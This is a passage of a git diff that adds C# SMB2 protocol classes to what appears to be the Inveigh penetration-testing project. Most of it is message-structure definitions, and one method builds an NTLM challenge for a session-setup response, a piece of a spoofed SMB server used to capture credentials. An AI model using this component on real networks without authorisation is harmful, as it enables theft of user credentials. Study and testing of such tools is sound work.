+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2QueryDirectoryResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/4f75351b-048c-4a0c-9ea3-addd55a71956
+ public ushort StructureSize { get; set; }
+ public ushort OutputBufferOffset { get; set; }
+ public uint OutputBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs
new file mode 100644
index 0000000..1cbb484
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs
@@ -0,0 +1,54 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ReadRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/320f04f3-1b28-45cd-aaa1-9e5aed810dca
+ public ushort StructureSize { get; set; }
+ public byte Padding { get; set; }
+ public byte Flags { get; set; }
+ public uint Length { get; set; }
+ public ulong Offset { get; set; }
+ public byte[] Field { get; set; }
+ public uint MinimumCount { get; set; }
+ public byte[] Channel { get; set; }
+ public uint RemainingBytes { get; set; }
+ public ushort ReadChannelInfoOffset { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs
new file mode 100644
index 0000000..4d5f52f
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs
@@ -0,0 +1,42 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ReadResponse
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs
new file mode 100644
index 0000000..3259da2
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs
@@ -0,0 +1,89 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB2
+{
+ class SMB2SessionSetupRequest
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a3c2c28-d6b0-48ed-b917-a86b2ca4575f
+ public ushort StructureSize { get; set; }
+ public byte Flags { get; set; }
+ public byte SecurityMode { get; set; }
+ public byte[] Capabilities { get; set; }
+ public byte[] Channel { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public byte[] PreviousSessionId { get; set; }
+ public byte[] Buffer { get; set; }
+
+ public SMB2SessionSetupRequest()
+ {
+ this.StructureSize = 19;
+ this.Flags = 0x00;
+ this.SecurityMode = 0x01;
+ this.Capabilities = new byte[4] { 0x01, 0x00, 0x00, 0x00 };
+ this.Channel = new byte[4];
+ this.SecurityBufferOffset = 88;
+ this.SecurityBufferLength = 0;
+ this.PreviousSessionId = new byte[8];
+ this.Buffer = new byte[0];
+ }
+
+ public SMB2SessionSetupRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.Flags = packetReader.ReadByte();
+ this.SecurityMode = packetReader.ReadByte();
+ this.Capabilities = packetReader.ReadBytes(4);
+ this.Channel = packetReader.ReadBytes(4);
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.PreviousSessionId = packetReader.ReadBytes(8);
+ this.Buffer = packetReader.ReadBytes(this.SecurityBufferLength);
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs
new file mode 100644
index 0000000..7948a9c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs
@@ -0,0 +1,114 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using Quiddity.NTLM;
+
+namespace Quiddity.SMB2
+{
+ class SMB2SessionSetupResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/0324190f-a31b-4666-9fa9-5c624273a694
+ public ushort StructureSize { get; set; }
+ public ushort SessionFlags { get; set; }
+ public ushort SecurityBufferOffset { get; set; }
+ public ushort SecurityBufferLength { get; set; }
+ public byte[] Buffer { get; set; }
+
+ public SMB2SessionSetupResponse()
+ {
+ this.StructureSize = 9;
+ this.SessionFlags = 0;
+ this.SecurityBufferOffset = 72;
+ this.SecurityBufferLength = 0;
+ this.Buffer = new byte[0];
+ }
+
+ public SMB2SessionSetupResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.StructureSize = packetReader.ReadUInt16();
+ this.SessionFlags = packetReader.ReadUInt16();
+ this.SecurityBufferOffset = packetReader.ReadUInt16();
+ this.SecurityBufferLength = packetReader.ReadUInt16();
+ this.Buffer = packetReader.ReadBytes(this.SecurityBufferLength);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+ this.SecurityBufferLength = (ushort)Buffer.Length;
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.StructureSize);
+ packetWriter.Write(this.SessionFlags);
+ packetWriter.Write(this.SecurityBufferOffset);
+ packetWriter.Write(this.SecurityBufferLength);
+
+ if (this.SecurityBufferLength > 0)
+ {
+ packetWriter.Write(this.Buffer);
+ }
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void Pack(string challenge, string netBIOSName, string computerName, string dnsDomain, string dnsComputerName, string dnsTreeName, out byte[] challengeData)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge();
+ ntlmChallenge.ServerChallenge = ntlmChallenge.Challenge(challenge);
+ challengeData = ntlmChallenge.ServerChallenge;
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ ntlmChallenge.Payload = ntlmAVPair.GetBytes(netBIOSName, computerName, dnsDomain, dnsComputerName, dnsTreeName, timestamp);
+ byte[] ntlmChallengeData = ntlmChallenge.GetBytes(computerName);
+ byte[] gssapiData = ntlmChallenge.Encode(ntlmChallengeData);
+ this.SecurityBufferLength = (ushort)gssapiData.Length;
+ this.Buffer = gssapiData;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs
new file mode 100644
index 0000000..48ad1d4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs
@@ -0,0 +1,50 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+
+ class SMB2TreeConnectRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/832d2130-22e8-4afb-aafd-b30bb0901798
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public ushort PathOffset { get; set; }
+ public ushort PathLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs
new file mode 100644
index 0000000..64214cc
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+
+ enum ShareType : byte
+ {
+ SMB2_SHARE_TYPE_DISK = 0x01,
+ SMB2_SHARE_TYPE_PIPE = 0x02,
+ SMB2_SHARE_TYPE_PRINT = 0x03
+ }
+
+ enum ShareFlags : uint
+ {
+ SMB2_SHAREFLAG_MANUAL_CACHING = 0x00000000,
+ SMB2_SHAREFLAG_AUTO_CACHING = 0x00000010,
+ SMB2_SHAREFLAG_VDO_CACHING = 0x00000020,
+ SMB2_SHAREFLAG_NO_CACHING = 0x00000030,
+ SMB2_SHAREFLAG_DFS = 0x00000001,
+ SMB2_SHAREFLAG_DFS_ROOT = 0x00000002,
+ SMB2_SHAREFLAG_RESTRICT_EXCLUSIVE_OPENS = 0x00000100,
+ SMB2_SHAREFLAG_FORCE_SHARED_DELETE = 0x00000200,
+ SMB2_SHAREFLAG_ALLOW_NAMESPACE_CACHING = 0x00000400,
+ SMB2_SHAREFLAG_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800,
+ SMB2_SHAREFLAG_FORCE_LEVELII_OPLOCK = 0x00001000,
+ SMB2_SHAREFLAG_ENABLE_HASH_V1 = 0x00002000,
+ SMB2_SHAREFLAG_ENABLE_HASH_V2 = 0x00004000,
+ SMB2_SHAREFLAG_ENCRYPT_DATA = 0x00008000,
+ SMB2_SHAREFLAG_IDENTITY_REMOTING = 0x00040000,
+ SMB2_SHAREFLAG_COMPRESS_DATA = 0x00100000
+ }
+
+ enum Capabilities : uint
+ {
+ SMB2_SHARE_CAP_DFS = 0x00000008,
+ SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY = 0x00000010,
+ SMB2_SHARE_CAP_SCALEOUT = 0x00000020,
+ SMB2_SHARE_CAP_CLUSTER = 0x00000040,
+ SMB2_SHARE_CAP_ASYMMETRIC = 0x00000080,
+ SMB2_SHARE_CAP_REDIRECT_TO_OWNER = 0x00000100
+ }
+
+
+ class SMB2TreeConnectResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/dd34e26c-a75e-47fa-aab2-6efc27502e96
+ public ushort StructureSize { get; set; }
+ public byte ShareType { get; set; }
+ public byte Reserved { get; set; }
+ public uint ShareFlags { get; set; }
+ public uint Capabilities { get; set; }
+ public uint MaximalAccess { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs
new file mode 100644
index 0000000..b14ff67
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2TreeDisconnectRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/8a622ecb-ffee-41b9-b4c4-83ff2d3aba1b
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs
new file mode 100644
index 0000000..40e2925
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs
@@ -0,0 +1,45 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2TreeDisconnectResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/aeac92de-8db3-48f8-a8b7-bfee28b9fd9e
+ public ushort StructureSize { get; set; }
+ public byte[] Reserved { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs
new file mode 100644
index 0000000..daf53e5
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs
@@ -0,0 +1,68 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum Channel : uint
+ {
+ SMB2_CHANNEL_NONE = 0x00000001,
+ SMB2_CHANNEL_RDMA_V1 = 0x0000002,
+ SMB2_CHANNEL_RDMA_V1_INVALIDATE = 0x00000003,
+ SMB2_CHANNEL_RDMA_TRANSFORM = 0x0000004
+ }
+
+ enum WriteRequestFlags : uint // Flags
+ {
+ SMB2_WRITEFLAG_WRITE_THROUGH = 0x00000001,
+ SMB2_WRITEFLAG_WRITE_UNBUFFERED = 0x0000002
+ }
+
+ class SMB2WriteRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8
+ public ushort StructureSize { get; set; }
+ public ushort DataOffset { get; set; }
+ public uint Length { get; set; }
+ public ulong Offset { get; set; }
+ public byte[] Field { get; set; }
+ public uint Channel { get; set; }
+ public uint RemainingBytes { get; set; }
+ public ushort WriteChannelInfoOffset { get; set; }
+ public ushort WriteChannelInfoLength { get; set; }
